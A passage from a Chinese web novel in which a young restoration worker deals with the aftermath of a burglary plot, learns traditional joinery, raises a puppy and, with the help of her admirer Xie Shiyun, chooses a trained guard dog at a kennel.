一家人出了谢家的门,往胡同外走。时建军去小院那边换锁,时墨被爸妈一左一右护着,走在中间。 夜风凉飕飕的,胡同里的路灯昏黄,照着青石板路。李秀兰还在絮絮叨叨地叮嘱,时爱国在旁边帮腔,生怕她再出事。 时墨听着,心里却想起谢时昀刚才说的那些话。 她回头看了一眼,谢家的大门已经关上了,只有二楼的灯还亮着。谢时昀正站在窗边看着她离开的方向,见她回头冲她挥了挥手。 时墨礼貌抬手挥了下手,转过头跟着爸妈往家走。 一夜无话,时墨睡了个安稳觉。 第二天时墨刚吃完早饭,谢时昀就开车过来接她了,副驾驶上还坐着宋正先。 “师傅?您怎么来了?”时墨惊讶道。 宋正先一看见她,又心疼又生气,从后座探过身来数落:“你这丫头,真是胆子太大了!出了这么大的事,也不跟我说一声!要不是小谢给我打电话,我到现在还蒙在鼓里!” “师傅,我这不是怕您担心嘛。”时墨乖乖认错,拉开副驾驶的门坐进去,时建军坐到了后面。 “担心?我看你是要把我气死!以后可不许一个人去那种地方了!有什么事,叫上你哥,叫上我,别自己扛!” “师傅,我知道错了。” 宋正哼了一声,却还是从随身的皮包里拿出一叠盖了红章的纸,递给她,“喏,你那些藏品的鉴定证明,我连夜给你开好了,文物局的老朋友也帮着盖了章,就算闹到法院去,也没人能说你的东西来路不明。” “谢谢师傅!”时墨接过证明,心里一暖,这老爷子嘴上骂得凶,心里比谁都疼她。 “谢什么,你是我徒弟,我不护着你护着谁?”宋正先摆了摆手,又看向谢时昀,眼里满是赞许,“这次多亏了小谢,不然你这丫头,指不定要吃多大亏。” 谢时昀发动车子,笑了笑:“宋老客气了,应该的。” 车子驶出家属院,往派出所开去。一路上宋正先又问了不少细节,时墨挑着能说的说了。 老爷子听完沉默了好一会儿,忽然说:“那个刘胖子,我听说过。这人在圈子里名声臭得很,专门坑那些不懂行的,倒腾了不少好东西出去。你得罪了他,他肯定记恨你。以后出门小心点,有什么事给我打电话。” “知道了,师傅。” 到了派出所,做笔录的过程很顺利,那两个贼已经被审了一夜。值班民警说,这两个人是惯犯,身上还背着三起入室盗窃的案子,这次人赃并获,直接刑事拘留了,最少也要判个三五年。 可提到幕后主使刘胖子,民警却摇了摇头:“我们审了一晚上,那两个人一口咬定是自己临时起意,跟刘胖子没关系,刘胖子也死不承认,我们没有直接证据证明他指使,只能先放了。” 时墨皱了皱眉,并不意外。刘胖子能在首都倒腾这么久木料,肯定是个老滑头,怎么可能留下实打实的把柄。 时墨做完笔录出来,刚走到派出所大厅,就迎面撞上了大摇大摆从审讯室出来的刘胖子。 他看见时墨,脸上堆起了谄媚的笑,快步走过来:“哎呀,时小姐!真是大水冲了龙王庙,一家人不认识一家人!昨晚的事,真是个误会!我根本不知道那两个人背着我敢干这种事,你可千万别往心里去!” 他说着就伸出手想握时墨的手,被谢时昀不动声色地上前一步,挡在了时墨身前。谢时昀眼神淡淡地扫了他一眼,没说话,可那股久居上位的压迫感,却让刘胖子的手僵在了半空,讪讪地缩了回去。 刘胖子这才正眼打量起谢时昀,看着他身上的气质,还有那辆停在门口的伏尔加轿车,心里咯噔一下,知道这年轻人来头不小,不敢再放肆。 “你他妈还敢过来!”时建军瞬间红了眼,攥着拳头就要冲上去揍他,“是不是你指使的?!你个狗东西!” “哥!别动手!”时墨一把拉住了他,这里是派出所,动手了反而理亏。 她从谢时昀身后走出来,冷冷地看向刘胖子:“刘老板,是不是误会,你我心里都清楚。山不转水转,咱们走着瞧。” 刘胖子脸上的笑僵了一下,又很快恢复了自然,打了个哈哈,转身灰溜溜地走了。 时建军气得脸都红了:“妹!你拦着我干什么!这种人就该揍他一顿!” “哥,在警局打人,你想进去蹲着?”时墨拉住他,眼神冰冷地盯着刘胖子消失的方向,“这种人,揍他一顿是便宜他。要治,就得治到他不敢再犯。” 谢时昀看了她一眼。 出了派出所,宋正先看着时墨脸色还有点白,心疼地说:“你先回去歇两天,工程那边有老王他们盯着,出不了事。那个刘胖子的事,你也别太担心,小谢都帮你盯着呢。” 时墨愣了一下,看向谢时昀。 谢时昀从车里拿出一个牛皮纸档案袋,递给她:“我已经找人去查他了。他倒腾木料只是幌子,背地里一直在倒腾文物,走私到境外,手上不干净的事多着呢。等证据收集齐了,他跑不掉的。” 时墨打开档案袋,里面是一沓厚厚的材料,有交易记录、银行流水,还有几张模糊的照片,拍的是刘胖子在某个仓库里和人交易,旁边堆着几个大木箱,箱子上写着“工艺品”,但看那箱子的尺寸和形状,分明是装瓷器的。 “这些……”时墨抬头看他,眼里带着惊讶。 “还不太完整,需要再等等。”谢时昀说得轻描淡写,但时墨知道,一晚上能查到这么多东西,绝不是普通人能做到的。 “谢谢你,谢时昀。”她看着他,语气比以往任何时候都真诚。 “跟我不用客气。”谢时昀感觉到她语气里的微妙变化,心里一喜,面上却只是微微笑了笑。 宋正先站在旁边,看看时墨又看看谢时昀,眼里闪过一丝了然的笑意,摆摆手说:“行了,我还有事先走了。你们年轻人聊。” 老爷子说完,背着手溜溜达达地走了。 谢时昀开车送时墨和时建军回家,路上时墨说要去小院看看,谢时昀二话不说,调转车头拐回去。 几人刚走到胡同口,就看见一辆卡车停在路边,赵磊正急得团团转,看见时墨,立刻冲了过来,脸上满是愧疚:“墨墨!你没事吧?我今早一来,听到周围邻居说昨晚的事了!都怪我,昨天不该留你一个人,不然也不会出这种事!” “赵哥,跟你没关系,是我自己太大意了。”时墨连忙安抚他。 赵磊懊恼得不行:“那个刘胖子,我已经托道上的朋友查他了,这孙子在四九城名声臭得很,专门坑蒙拐骗,还倒腾黑货,我肯定把他的底给你翻出来,给你出这口气!” “赵哥,谢谢你,不过不用麻烦了。”时墨没想到赵磊还上了心,指了指旁边的谢时昀,“谢哥已经让人去查了,证据很快就能齐……” 赵磊愣了一下,看向谢时昀。他常年跑南闯北,眼光毒得很,一眼就看出谢时昀不是普通人。 “原来是谢先生!”赵磊连忙伸出手,笑得热络,“久仰久仰!早就听说过您的大名,没想到您跟墨墨是朋友!” 谢时昀跟他握了握手,语气平淡却不失礼貌:“客气了,都是朋友。” 赵磊收回手,又想起正事:“对了,那些老红松你打算怎么处理?我帮你雇辆车,今天就拉到梅先生故居的工地去?” 时墨点头:“麻烦你了赵哥,不过这木料不能直接用,得先烘干,含水率必须跟原梁完全一致,不然热胀冷缩,会把原梁拉变形,反而坏事。” “这个你放心!”赵磊拍着胸脯保证,“我知道郊区有个木材加工厂,有专业的烘干设备,技术绝对靠谱!我今天就把木料拉过去,到时候让孙教授和王师傅都过去盯着,保证不出一点岔子!” “那可太谢谢你了,赵哥!”时墨喜出望外,她正愁找不到专业的烘干设备,没想到赵磊就给解决了。 “跟我客气啥,都是自己人。”赵磊笑着摆了摆手。 两人又敲定了烘干的细节,赵磊就带着时建军去小院拉木料了。 胡同口只剩下时墨和谢时昀两个人,阳光照在青石板路上,把两人的影子拉得长长的,交叠在一起。 “今天谢谢你。”时墨转头看他,“陪我一上午,耽误你工作了吧?” “不耽误,我都安排好了。”谢时昀赶紧解释道,“走吧,事情都了结了,我送你回去休息。” 接下来的几天,时墨天天泡在梅先生故居的工地上。 老红松木料烘干完成,含水率跟原梁分毫不差,王木匠带着徒弟们亲自验了料,激动得直拍大腿:“好料!真是好料!时工,你可真是找着宝贝了!有这料,这扒梁绝对能做到严丝合缝,跟原梁合为一体!” 王木匠彻底服了时墨,把自己祖传的宫廷造办处木作手艺,毫无保留地教给了她,从榫卯的下料、凿刻,到木材的做旧、防腐,每一个步骤都讲得仔仔细细,恨不得把自己一辈子的本事都传给她。 “看好了,这叫燕尾榫,宫里造办处传下来的手艺,现在会的人不多了。”王木匠拿着凿子,一刀一刀地凿着榫眼,动作不紧不慢,每一刀都精准到位,“做榫卯,讲究的是一个‘严’字。榫头进榫眼,要严丝合缝,不用胶也能扣住,用上几百年都不带松的。” 时墨学得极快,加上系统辅助,上手快得惊人,没几天就能独立做出完美的暗燕尾榫,精度比学了十几年的老徒弟都高。 王木匠拿着她做的榫头看了半天,忍不住感慨:“我学了三年才做到这个程度,你这丫头……真是祖师爷赏饭吃。” 时墨不好意思地笑笑,知道自己是有系统加成。不过这话不能说,只能加倍努力,不让师傅失望。 时建军则是天天早接晚送,有两次还碰上了谢时昀,搭了两次便车。 工地上的师傅们都知道时墨前些天遇到的事,有时候天还没黑,就催她赶紧回家。 这天黄昏,时建军来接时墨,两人正跟几位师傅打招呼,就看见谢时昀的车停在了外面。 “今天谢哥怎么来了?”时建 军疑惑,突然一拍脑袋,“是不是那刘胖子的事有眉目了?” 时墨快步走了过去。 谢时昀从车上下来,手里拿着一个厚厚的牛皮纸档案袋,递给了她,眼神里带着几分严肃:“你看看,刘胖子的底,都在这里面了。” 时墨打开档案袋,一页一页地翻看。里面的材料比她想象的还要详尽——刘胖子近三年的交易记录、银行流水、跟境外走私团伙的往来信件,甚至还有他两年前参与盗墓的证据。桩桩件件,时间、地点、人物、金额,写得清清楚楚,足够他把牢底坐穿了。 时墨越看越心惊,抬头看向谢时昀:“这些……你怎么查到的?” 谢时昀笑了笑,没细说自己的渠道,只道:“他做了这么多违法的事,总会留下痕迹。这些证据,你想怎么处理都可以,交给警察,或者留着,都随你。” 他顿了顿,又说,“这段时间你注意安全,有什么事随时叫我。” 时墨捏着厚厚的档案袋,心里五味杂陈。 “这些够他判多少年?” “如果全部坐实,十年以上。”谢时昀的语气很平静,像是在说一件确定的事,“他涉及的不只是文物走私,还有盗墓、销赃,甚至跟境外团伙有牵连。这些证据交上去,他跑不掉。” 时建军凑过来,伸着脖子看了一眼档案袋里的东西,虽然看不太懂,但听谢时昀这么说,立刻兴奋起来:“太好了!这回看那孙子还怎么嚣张!” “谢时昀。”她看着他,认真地说,“这些证据很重要,但光有这些还不够。刘胖子能在文物圈混这么多年,上面肯定有人罩着。要是贸然交上去,打草惊蛇,反而坏事。” 谢时昀眼底闪过一丝赞赏:“你跟我想的一样。这些证据我先收着,再等等,把上面的线也摸清楚了,一起收网。” 时墨点点头,把档案袋递还给他。两人手指碰了一下,谢时昀的手很凉,时墨的手倒是暖的。 “手怎么这么凉?”时墨下意识问了一句。 谢时昀顿了一下,收回手,把档案袋夹在腋下,若无其事地说:“没事,风吹的。” 时墨看了他一眼,没再多说,心里却觉得这人有时候也挺有意思的。 “谢哥。”她开口,语气比刚才轻快了些,“不管怎么说,这次的事谢谢你。改天我请你吃饭,别推辞。” 谢时昀看了她一眼,嘴角微微弯起来:“好。” 天边的晚霞渐渐暗下去,路灯一盏盏亮起来。 工地上的工人陆续收工,推着工具车从院子里出来,看见时墨和谢时昀站在门口,纷纷打招呼:“时工,还不走?天都黑了!” “这就走。”时墨应了一声,转头对谢时昀说,“你先回去吧,我哥送我,不麻烦你了。” 谢时昀没动,看了眼时建军,又看了眼时墨:“你们骑车来的?” 时建军点头:“对,我骑车来的。” “天黑了,路上不安全。”谢时昀说着,转身打开车门,“上车吧,我送你们回去。自行车放后备箱。” “那就麻烦谢哥了。”时建军把自行车推过来,搬上后备箱。 时墨看到她哥动作迅速,便拉开后座车门坐了进去。 车里很安静,只有发动机低沉的声响。 时建军坐在后座,一会儿看看开车的谢时昀,一会儿看看旁边的妹妹,总觉得哪里不太对劲,但又说不上来。 “谢哥。”他忍不住开口,“你那个外贸公司,最近忙不忙?” “还行。”谢时昀从后视镜里看了时墨一眼,“年底的订单都处理完了,开春会忙一些。” “那你还抽出时间帮我们查刘胖子,真是不好意思。”时建军搓了搓手。 “应该的。”谢时昀说着,又看了后视镜一眼。 时墨靠在座椅上,望着车窗外倒退的街景,路灯的光一道一道地落在她脸上。她能感觉到谢时昀的目光,从后视镜里,一下,又一下,克制又小心。 车子在家属院门口停下,谢时昀帮他们把自行车搬下来,时建军连声道谢。 时墨下车时忽然想起什么,回头说:“对了,谢时昀,过两天我要去狗市看看,你要是有空,帮我掌掌眼?” 谢时昀愣了一下,随即笑了:“行,到时候叫我。” 时墨点点头:“好,到时候联系你。” “墨墨,走了!”时建军在楼道门口喊道。 “来了。”时墨应了一声,对谢时昀挥了挥手,“你回去吧,路上慢点开。” “好。” 谢时昀点了点头,坐在车里,目送时墨的身影消失在楼道口,嘴角的弧度好半天才压下去。 时建军往家走时,忍不住问到:“妹,你跟谢哥刚才说什么呢?” “没什么,说买狗的事。”时墨加快脚步。 “嗨,买啥啊,我朋友他家刚下了一窝狗崽子,这事不用麻烦谢哥!” 第68章 时墨无语地瞥了他一眼:“哥, 我要的是现在就能看家护院的大狗,不是刚出窝的崽子。等它长大能顶事,还得小半年呢, 我这院子总不能空着不设防吧?” “这你就不懂了吧!”时建军来了精神, 跟她并排走, 头头是道地说着, “这狗就得从小养,才跟你亲,养大了比什么都忠心。我朋友家那大黄狗,方圆十里没对手,绝对的看家护院一把好手!它的崽能差?我昨天就跟他说好了, 给咱们留一只最壮的公崽, 不早点定下,过两天就被人抢光了!” 时墨听他这么一说, 也觉得有道理。好狗崽子可遇不可求, 土狗聪明、护主、不矫情,不比那些名贵犬种差, 从小养起来的, 也确实更认家认主。 可转念又皱起了眉:“那崽子刚出窝没多久, 连路都走不稳, 什么时候才能看家护院?我这院子现在就需要能镇住场子的大狗。” “嗨, 这还不简单!”时建军笑着推开院门,“咱们先把崽子抱回来养着,我再帮你踅摸一只靠谱的成年大狗。” 时墨点了点头:“行, 那你跟你朋友说好了,该给的钱一分不能少,别让人觉得咱们占小便宜。” “给钱可就外道了!”时建军摆了摆手, “到时候我拎两斤大骨头和一盒糕点过去,人家指定高兴,熬的骨头汤还能给大狗补补,不比给钱强?” “嗯,还是哥你想得周到。”时墨笑着应了,两人说着进了家门。 饭菜的香味扑面而来,李秀兰正系着围裙往桌上摆碗筷,看见他们回来,招呼道:“回来了?快洗手吃饭!” 时爱国坐在沙发上看报纸,放下手里的人民日报,抬头问:“刘胖子那事怎么样了?没再出什么幺蛾子吧?” 时墨洗了手坐到桌前:“证据都齐了,够他判十年以上。不过谢时昀说再等等,顺藤摸瓜把他上面的保护伞也挖出来,一起收网,免得打草惊蛇。” “那就好,那就好。”时爱国连连点头,松了口气,“这事多亏了小谢,人家帮了这么大忙,回头咱们可得好好谢谢人家,不能没个表示。” “可不是嘛,这孩子办事是真靠谱。”李秀兰端着汤从厨房出来,又说道,“对了,我刚听你们在门口说养狗?” 时墨把想买狗看家的事说了一遍,李秀兰听完,一拍大腿:“买什么狗!养两只大鹅比什么都管用!那东西厉害着呢,看家护院是一把好手,见了生人又拧又叫,还能下蛋呢,一举两得!” “大鹅?”时墨愣住了,她还真没想过养鹅看家。 “对啊!”李秀兰坐下,说得头头是道,“你不知道,这大鹅比狗还灵!有一点动静就嘎嘎叫,嗓门又大,半条胡同都能听见!而且这东西凶得很,脖子一伸,翅膀一扑棱,追着人跑,嘴还硬,叨一口就是一块青,比狗都敢下嘴!以前咱老家,家家户户都养两三只大鹅看家,比狗靠谱多了,还不用喂精粮,剩菜剩饭、地里的草就能喂活!” 时爱国听到这话,一脸无奈地插了嘴:“你快别提你家那几只大鹅了。我当年第一次上你家提亲,刚进院子,就被你家养的三只大鹅追着叨,那家伙,脖子一伸,翅膀一扑棱,追着我满院子跑,裤腿都给我叨破了,手里提的点心匣子差点扔了,现在想起来我都怵得慌!” 李秀兰笑得直不起腰,嗔了他一眼:“那还不是因为你鬼鬼祟祟的,跟做贼似的,大鹅才叨你!正经人大大方方进门,它才不瞎叨呢!” 时墨和时建军笑得前仰后合,时建军拍着桌子笑:“爸,还有这段光荣历史呢?我怎么从来没听过!” “嗐,都多少年前的事了,提它干啥!”时爱国被揭了老底,脸上挂不住,轻咳一声转移话题,“行了行了,养什么都行,能看家就行。不过小谢那边,墨墨你得主动点,请人家吃顿饭,好好谢谢人家,别让人家觉得咱们不懂事。” “知道了爸,我已经跟他说了,改天请他吃饭。”时墨夹了一筷子白菜,笑着应了。 第二天一早,时建军送完时墨,就骑车去朋友家抱狗了,临走前保证道:“妹,你放心上班,我这就去我发小家抱狗,保证给你挑个最壮最机灵的!” 时墨笑着应了,转身进了工地。 这几天她跟着王师傅学做榫卯、画图纸、盯施工进度,手艺和专业度都摆在那儿,工地上的老工匠们个个心服口服,没人再拿她当小姑娘看,一口一个“时工”叫得恭敬。 等傍晚收工,时墨跟着时建军回了家,一进门,就听见沙发上的纸箱子里,传来细细的“哼哼唧唧”的奶叫声。 “妹!快看我给你抱回来的小狗崽!”时建军兴奋道。 时墨走过去,低头往箱子里一看,心瞬间就化了。 纸箱子里铺着旧棉袄,一只巴掌大的小黄狗蜷缩在里面,毛乎乎的,像个刚蒸好的黄米团子。眼睛刚睁开没多久,湿漉漉的,乌溜溜地转,看见她过来,小鼻子轻轻动了动,奶声奶气地“呜”了一声,挣扎着要站起来,四条小短腿直打颤,站不稳又“啪叽”一下摔回了棉袄里,发出细细的哼唧声,委屈得不行。 时墨长这么大,还从来没摸过这么小的奶狗,小心翼翼地伸出手,把它从箱子里捧了出来。 小家伙浑身暖烘烘的,软得跟团棉花似的,在她手心里缩成一团,小爪子轻轻勾着她的手指,温热的小舌头小心翼翼地舔了舔她的指尖,痒丝丝的,把她的心都舔软了。 “我的天,这么小。”时墨放轻了声音,生怕吓着它,“这才刚睁眼没多久吧?” “刚满二十天!”时建军一脸得意地凑过来,“我特意挑的这一窝里最壮的!你看这毛色,这骨架,这粗爪子,将来绝对是个大个子,比它妈还威风!” 时墨捧着那只小奶狗,喜欢得不行,又怕劲儿大了弄疼它,小心翼翼地托着。小家伙在她手心里拱了拱,找了个舒服的姿势,眯着眼睛打起了呼噜,小小的身子一起一伏,乖得不得了。 李秀兰也凑过来,看着时墨手心里的小奶狗,笑得合不拢嘴:“哎哟,这小东西真招人疼。墨墨,快给它起个名字吧。” “我想想啊。”时墨捧着小奶狗,看着它黄澄澄的毛,像秋天饱满的麦穗,笑着说,“就叫穗穗吧,麦穗的穗,让它一辈子不愁吃的,平平安安的!” “穗穗?好听!”李秀兰连连点头,“这名字听着就吉利,还接地气,不错。” 时建军犹豫道:“这名字会不会太秀气了?它可是公狗,将来要看家护院的!” “公狗怎么了?”时墨瞪了他一眼,“就叫穗穗。” “行!就叫穗穗!以后穗穗就是咱们家的护院小将军!”时建军立刻改口,顺着妹妹的话说。 小家伙像是听懂了,在时墨手心里蹭了蹭,又哼唧了两声,把时墨的心都萌化了,没忍住用脸颊轻轻蹭了蹭它软乎乎的毛。 可这份喜欢,到了晚上就彻底变成了“甜蜜的折磨”。 穗穗刚离开母狗,到了陌生环境,害怕得很,天一黑,就开始哼唧,一声接着一声,细细嫩嫩的,穿透力却极强,隔着房门都听得清清楚楚。 时墨把它放在床头的纸箱里,铺了厚棉袄,可小家伙还是哼唧个不停,时墨刚睡着,就被它的哼唧声拽醒。 时墨翻身坐起来,打开台灯,探头一看——小东西在窝里拱来拱去,小鼻子四处嗅,呜呜咽咽的,不知道是饿了还是冷了。 她伸手一摸,小肚子瘪瘪的,果然是饿了。 时墨披上衣服,轻手轻脚去厨房热了半碗牛奶,晾到温热,用手指蘸着送到它嘴边。穗穗立刻凑上来,吧唧吧唧地舔,小舌头软软的,喝了小半碗,直到小肚子圆滚滚的,终于蜷回窝里睡了。 时墨躺回去,刚迷糊着,凌晨两点多,穗穗又开始哼唧了。这次起来一看是尿了,纸箱里的棉袄湿了一小片。时墨又爬起来,给它换了干净的旧棉袄,折腾了半个多小时,才又躺回去。 四点多,哼唧声又响了。 这次穗穗是冷了,小身子缩成一团,往棉袄最里面钻。时墨又给它加了件旧毛衣,把台灯开着,留了点光,小家伙才终于安静下来。 等穗穗彻底睡熟,天已经蒙蒙亮了。 早上起来,时墨顶着两个明显的黑眼圈,对着镜子叹气,连打了三个哈欠,眼皮都快粘在一起了。 【宿主!警告!昨晚睡眠时长不足三小时,睡眠质量严重不达标!今日必须午休两小时,否则将触发轻度疲劳惩罚!】机械的AI声冒了出来。 时墨揉着发胀的太阳穴,无语道:【你昨天晚上怎么不直接给我电晕过去?电晕了我还能睡个整觉。】 【系统不能无缘无故对宿主进行电击,违反核心规则!】 【那之前怎么电我?】 【那是宿主主动违反“躺平规则”,属于违规行为,才可以进行电击提醒。昨晚是外力因素,不在规则范围内。】 时墨气笑了,合着这规则还带双标的:【行,你厉害。】 她瞬间动了歪心思,今晚干脆她不睡了,等着被系统电晕,省得被穗穗折腾。她就不信,系统这还能不管。 结果到了晚上,时墨强撑着不睡,等着被系统电晕,可长久以来的生物钟实在太准,到了十点,她就困得眼皮打架,脑袋一点一点的,没一会儿就歪在床上睡过去了。 结果凌晨三点,又被穗穗的哼唧声吵醒了,睁着眼睛到天亮,黑眼圈又重了一圈。 连续两天,时墨天天顶着熊猫眼去工地,哈欠连天,眼皮直打架,连画图纸的时候都差点画错了线。 王师傅看她脸色不好,眼下乌青,担心地拉着她问:“时工,你这是咋了?脸色这么差?是不是前几天那事吓着了,还没缓过来?要不你回去歇一天,工地上有我们盯着呢,出不了事!” “没事王师傅,我就是晚上没睡好。”时墨揉了揉眼睛。 旁边几个老工匠也凑过来关心道:“对啊时工,身体要紧,别硬撑。” “就是,有什么事跟我们说,别自己扛着!” 时墨看着大家真心实意的关切,连忙笑着解释:“各位师傅放心,我没事,就是前几天抱回来一只刚出窝的小奶狗,晚上总哼唧,没睡好。” 这话一出,大家都笑了,纷纷给她出主意。 “嗨!我当多大事呢!奶狗刚离窝都这样!你晚上把它的窝放在你床边,让它能闻见你的味儿,看见你,就不叫了!” “不对,得给它窝里放个暖水袋,再放个滴答响的闹钟,模仿母狗的心跳,它就不害怕了,保准一觉到天亮!” “还有,晚上临睡前给它喂饱了,半夜就不会饿醒了!小狗崽子,饿了、冷了、害怕了才叫,三样都给它解决了,绝对不闹!” 大家你一言我一语,全是养了一辈子狗的实打实的经验,时墨听得连连点头,都一一记了下来。 中午吃完饭,大家都催着她去项目部的办公室沙发上睡会儿,没人来打扰她。 时墨也确实困得不行,倒在沙发上就睡熟了,这一觉睡得沉,连梦都没做,到点自己醒了,精神好了不少。下午画图纸、盯施工,半点没耽误进度,大家看她状态好了,也都放了心。 一连几天,时墨按着大家教的法子做,穗穗果然不怎么闹了,白天在屋里里跌跌撞撞地学走路,摔了爬起来,爬起来又摔,憨态可掬。时墨看着它可爱模样,什么气都消了。 倒是谢时昀那边,等了好几天,也没等来时墨的电话。 他每天出门的时候,都会往对面院子看一眼,院门总是锁着,安安静静的;下班回来再看,还是老样子,连个人影都没见着。 谢时昀告诉不急不躁,耐心等着就好,肯定是她忙,等忙过这阵就好了。可心里那点期待,还是一天天往下落。 这天下午,他刚出门,看见时墨的四合院院门开着,时建军正拿着扫帚在院里扫地,立刻走了过去。 “建军。” 时建军抬头一看是谢时昀,立刻放下扫帚迎了上来,笑容爽朗道:“谢哥!你怎么来了?快进来坐!” “不了,我就是路过,看见门开着,进来看看。”谢时昀目光扫了一圈院子,没看到想见的人,状似随意地问,“墨墨呢?没在这儿?” “今天她轮休,在家躺着呢,这几天可把她累坏了。”时建军说着,满脸心疼,“白天在工地忙,晚上还得照顾那只小狗崽子,天天睡不好,可把她折腾够呛。我们说晚上帮她照顾,她非不干,说狗是她要养的,就得她负责。” 谢时昀脸上的笑僵了一下:“小狗?” “对啊,我朋友家的大黄狗一窝崽,我给抱了一只回来,叫穗穗。”时建军笑着说,“小狗崽可好玩了,就是太小,晚上老叫唤,我妹这两天都没睡个整觉。” 谢时昀瞬间了然,难怪这丫头没找他,原来是已经抱了狗了。 心里那点攒了好几天的期待,瞬间变成了浓浓的失落,可这话不好跟时建军说,只能笑着点了点头,顺着话头往下说:“小狗至少要养半年才能看家护院,你妹妹这院子现在正是需要人盯着的时候,光靠一只奶狗,还是不保险。” “可不是嘛!”时建军点头,“我妹也是这么说的,说等穗穗长大点,再弄只成年大狗。” 谢时昀趁机道:“我有个朋友,在郊区开了个狗场,里面全是训练过的护卫犬,大多是退役的警犬、军犬后代,品性稳,警惕性高,还听话,比市面上随便买的狗靠谱多了。墨墨要是想买大狗,我可以带她去我朋友的狗场里挑,知根知底的,不会被骗。改天你们有空,我带你们去看看,挑一只。” “那敢情好啊!”时建军眼睛亮了,连忙追问,“谢哥,你什么时候有空?我跟我妹的时间都能调,你忙,我们随你时间来!” 谢时昀心里那点失落瞬间烟消云散,嘴角微微翘起来:“后天我休息,到时候我来接你们。” “不用麻烦你来接,给我个地址,我俩直接过去!”时建军爽快地应了。 谢时昀找了张纸,把地址和时间写清楚,递给了时建军,又叮嘱了两句,才转身离开。 当天傍晚,时建军去工地接时墨下班,路上就把这事跟她说了。 时墨愣了一下,随即笑了。 她这几天被穗穗熬得昏天黑地,早就把约谢时昀去狗市的事忘到九霄云外去了,没想到人家不仅记着,还帮她找好了靠谱的狗场。 “约好时间了吗?” “谢哥说后天休息,地址都给我了。”时建军掏出纸条给时墨看,“我看了,就在南边郊区,不远,坐车半个多小时就到了。” 第二天上工,时墨先跟孙教授说了要去挑狗的事,顺便请半天假。 孙教授一听,爽快地批了假,还拉着她叮嘱道:“我跟你说,挑的时候要看三点:第一看眼神,眼神亮、不怯场、不躲闪的,才是好狗;第二看牙口和骨架,爪子粗、骨量大、牙口齐的,将来个子大,镇得住场子;第三看性子,见了生人不慌不叫,稳稳当当的,才是能干事的狗,那种见人就瞎叫的,看着凶,实则胆小,没用。” 时墨把孙教授说的要点一一记了下来。 【宿主宿主!我也能帮你选狗!】系统冒出来跃跃欲试道,【我的数据库里有全世界所有犬种的标准信息,什么狗能看家、什么狗聪明、什么狗好养,我门儿清!我还能帮你实时扫描狗狗的健康状况、性格、服从性!保证帮你挑到最好的狗!】 【好,不过挑狗还要看缘分,合眼缘最重要。】时墨笑了笑,【真有问题你再提醒我就行。】 到了约定的日子,时墨和时建军准时到了谢时昀说的狗场。 地方在南郊,圈了好大一片地,围墙砌得很高,刚到门口,就听见里面此起彼伏的狗叫声,气势十足,却不杂乱,一看就是正规训练过的。 谢时昀已经到了,正站在车旁跟一个身材高大的中年男人聊天,看见他们过来,立刻迎了上来。 “来了?”谢时昀看着他们,眼里带着笑意,“我给你们介绍一下,这是张诚,狗场的老板。” 时墨礼貌地喊了声“张老板”,张诚上下打量她一眼,笑着点头:“时钧跟我说了,你想买只训练好的护卫犬,看家护院用。放心,我这儿的狗,全是正经退役警犬的后代,从小就做基础训练,绝对靠谱!跟我来,我带你们好好挑挑!” 几人跟着张诚往里走,狗场里分了好几个区,幼犬区、成犬区、训练区,一只只黑背、马犬、昆明犬,个个神俊挺拔,看见有人过来,都警惕地竖起了耳朵,却没有胡乱吠叫,只是稳稳地坐着,目光锐利地盯着他们,一看就是受过严格训练的。 时建军眼睛都看直了:“嚯,这些狗也太俊了!” 张诚领着他们往里走,一边走一边介绍:“这些都是一岁以上的成犬,已经完成了全套基础服从训练,坐、卧、立、定、拒食、警戒、护卫,全都会。看家护院绝对没问题,陌生人进院子,不用指令就会进入警戒状态,但是不会随便伤人,分寸感极好,不会给你惹麻烦。” 他指着几只格外壮实的黑背:“这几只都是品相最好的,性格稳,警惕性高,最适合家庭护卫,也是卖得最好的。” 时墨一只只地看过去,系统在她脑子里实时播报:【左边那只德牧,骨架大,毛色好,就是眼神有点散,不够机灵;右边那只黑背,反应快,警惕性高,就是年纪大了点,三岁多了;中间那只不错!反应速度最快!警惕性最高!服从性评分九十分!看家护院绝对一流!】 时墨不动声色,继续往里走。 时建军在旁边劝道:“妹,我看这几只都不错!你看这只,个子最大,看着就威风!往门口一站,绝对没人敢进来!” 谢时昀站在时墨身侧,始终跟她保持着半步的距离,既护着她,又不打扰她,轻声问:“有看上的吗?要是没有,咱们再去训练区看看,那边还有几只更好的。” “我再多看看,不急。”时墨笑了笑,她总觉得刚才看的这几只,都差了点意思。 张诚又带他们看了几只昆明犬、狼青,都是训练有素的成犬,个个体格健壮,眼神犀利。可时墨还是没什么感觉。 时建军看得眼热,恨不得全都抱回去。 一行人走到犬舍最里面,角落里有个单独的隔间,关着一只大狗。 时墨的脚步瞬间停住了。 那是一只纯黑背,比其他的狗都要高大,肩宽背阔,四肢修长有力,毛色乌黑发亮,没有一丝杂色,两只耳朵立得笔直。 它安静地卧在隔间的角落里,不像其他狗那样看见人就凑过来叫,只是抬了抬眼皮,一双琥珀色的眼睛锐利又沉稳,浑身都透着一股生人勿近的冷傲气场。它只是安安静静地趴在那里,却比所有吠叫的狗都更有压迫感。 时墨的目光一下子就被它吸住了,再也挪不开。 “这只怎么单独关着?”她快步走了过去,那只黑背听见声音,看了她一眼,没有起身,但耳朵竖了起来。 老张有些意外:“这只啊,是纯种的黑背,父母都是军犬后代。训练了半年,什么都好,就是性子太傲,太挑主人。之前来了好几拨人,都是有钱有势的,出高价想买,它根本不认,对着人家呲牙咧嘴的,差点咬到人,我就没敢卖,一直单独关着自己养。” 他好心劝道:“丫头,我劝你还是看看别的,这狗我怕你镇不住它。” 时墨没说话,温和地看着黑狗。 【宿主!别靠近!这只狗攻击性很强!危险等级高!】系统立刻喊了起来。 谢时昀也快步跟了上去,不动声色地挡在时墨身侧,低声道:“墨墨,小心点,别靠太近。” “没事。”时墨摇了摇头,停在了隔间门口,没有再往前。 里面的黑背突然站了起来,一双锐利的眼睛死死地盯着时墨,喉咙里发出低低的呜咽声,带着警告的意味。 时建军和张诚都紧张起来,张诚手都放到了腰间的训犬鞭上,生怕它扑过来伤人。 可时墨却异常平静,就站在那里,安安静静地看着黑背的眼睛,没有害怕,也没有躲闪,眼神温和却坚定,像一汪温水,裹住了它浑身的戾气。 一人一狗,就这么对视了快一分钟。 忽然,黑背喉咙里的呜咽声停了,它慢慢放下了竖起的背毛,往前走了两步,鼻子贴在铁门上,隔着网格轻轻嗅了嗅时墨伸在门边的手,尾巴尖轻轻晃了一下。 张诚惊瞪大了眼睛,一脸的难以置信道:“我的天!它居然摇尾巴了?!” 